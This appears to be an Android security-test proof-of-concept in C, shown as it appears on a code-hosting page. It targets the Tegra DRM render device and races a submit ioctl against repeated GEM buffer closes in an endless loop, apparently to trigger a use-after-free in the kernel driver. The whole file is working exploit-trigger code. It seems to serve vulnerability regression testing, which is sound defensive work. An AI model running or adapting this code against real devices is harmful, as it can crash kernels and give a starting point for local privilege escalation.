You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
147 lines
3.2 KiB
147 lines
3.2 KiB
/*
|
|
* Copyright (C) 2017 The Android Open Source Project
|
|
*
|
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
|
* you may not use this file except in compliance with the License.
|
|
* You may obtain a copy of the License at
|
|
*
|
|
* http://www.apache.org/licenses/LICENSE-2.0
|
|
*
|
|
* Unless required by applicable law or agreed to in writing, software
|
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
* See the License for the specific language governing permissions and
|
|
* limitations under the License.
|
|
*/
|
|
#define _GNU_SOURCE
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <pthread.h>
|
|
#include <errno.h>
|
|
#include <fcntl.h>
|
|
#include <sched.h>
|
|
#include <unistd.h>
|
|
#include <sys/types.h>
|
|
#include <sys/ioctl.h>
|
|
|
|
#include "local_poc.h"
|
|
|
|
#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
|
|
#define ERR(fmt, ...) printf(fmt " %d %s\n", ##__VA_ARGS__, errno, strerror(errno))
|
|
|
|
#define DEV "/dev/dri/renderD129"
|
|
#define CMD_NUM 100
|
|
|
|
int dev_fd;
|
|
|
|
volatile struct drm_tegra_open_channel open_c;
|
|
volatile struct drm_tegra_submit submit_c;
|
|
volatile struct drm_tegra_gem_create gem_create;
|
|
volatile struct drm_gem_close gem_close;
|
|
|
|
volatile struct drm_tegra_cmdbuf cmdbufs[CMD_NUM];
|
|
struct drm_tegra_syncpt syncpt;
|
|
volatile struct drm_tegra_reloc relocs[CMD_NUM];
|
|
|
|
static int set_affinity(int num)
|
|
{
|
|
int ret = 0;
|
|
cpu_set_t mask;
|
|
CPU_ZERO(&mask);
|
|
CPU_SET(num, &mask);
|
|
ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
|
|
if(ret == -1){
|
|
}
|
|
return ret;
|
|
}
|
|
|
|
static int prepare()
|
|
{
|
|
int i;
|
|
|
|
open_c.client = HOST1X_CLASS_VIC;
|
|
|
|
submit_c.num_syncpts = 1;
|
|
submit_c.syncpts = (__u64)&syncpt;
|
|
|
|
gem_close.handle = 1;
|
|
|
|
for(i = 0; i < CMD_NUM; i++){
|
|
cmdbufs[i].words = 0;
|
|
cmdbufs[i].offset = 0;
|
|
cmdbufs[i].handle = 0;
|
|
relocs[i].cmdbuf.handle = 0;
|
|
relocs[i].cmdbuf.offset = 0;
|
|
relocs[i].target.handle = 0;
|
|
relocs[i].target.offset = 0;
|
|
}
|
|
|
|
submit_c.num_cmdbufs = CMD_NUM;
|
|
submit_c.cmdbufs = (__u64)cmdbufs;
|
|
|
|
submit_c.num_relocs = CMD_NUM;
|
|
submit_c.relocs = (__u64)relocs;
|
|
|
|
gem_create.size = PAGE_SIZE;
|
|
|
|
return 0;
|
|
}
|
|
|
|
#define SUBMIT_THREAD_NUM 1
|
|
pthread_t submit_thread_id[SUBMIT_THREAD_NUM] = { 0 };
|
|
static void* submit_thread(void *no_use)
|
|
{
|
|
set_affinity(1);
|
|
ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
|
|
return NULL;
|
|
}
|
|
|
|
int main()
|
|
{
|
|
int ret;
|
|
int i;
|
|
__u64 try_time;
|
|
|
|
set_affinity(0);
|
|
|
|
dev_fd = open(DEV,O_RDONLY);
|
|
if(dev_fd == -1){
|
|
return 0;
|
|
}
|
|
|
|
prepare();
|
|
|
|
ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
|
|
if(ret == -1){
|
|
goto out_dev;
|
|
}
|
|
|
|
submit_c.context = open_c.context;
|
|
|
|
try_time = 1;
|
|
while(1){
|
|
ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_GEM_CREATE, &gem_create);
|
|
if(ret == 0){
|
|
for(i = 0; i < CMD_NUM; i++){
|
|
cmdbufs[i].handle = gem_create.handle;
|
|
relocs[i].cmdbuf.handle = gem_create.handle;
|
|
relocs[i].target.handle = gem_create.handle;
|
|
}
|
|
for(i = 0; i < SUBMIT_THREAD_NUM; i++){
|
|
pthread_create(submit_thread_id + i, NULL, submit_thread, NULL);
|
|
}
|
|
usleep(150);
|
|
while(ioctl(dev_fd, DRM_IOCTL_GEM_CLOSE, &gem_close) == 0);
|
|
}
|
|
try_time++;
|
|
}
|
|
|
|
for(i = 0; i < SUBMIT_THREAD_NUM; i++){
|
|
pthread_join(submit_thread_id[i], NULL);
|
|
}
|
|
|
|
out_dev:
|
|
close(dev_fd);
|
|
return 0;
|
|
}
|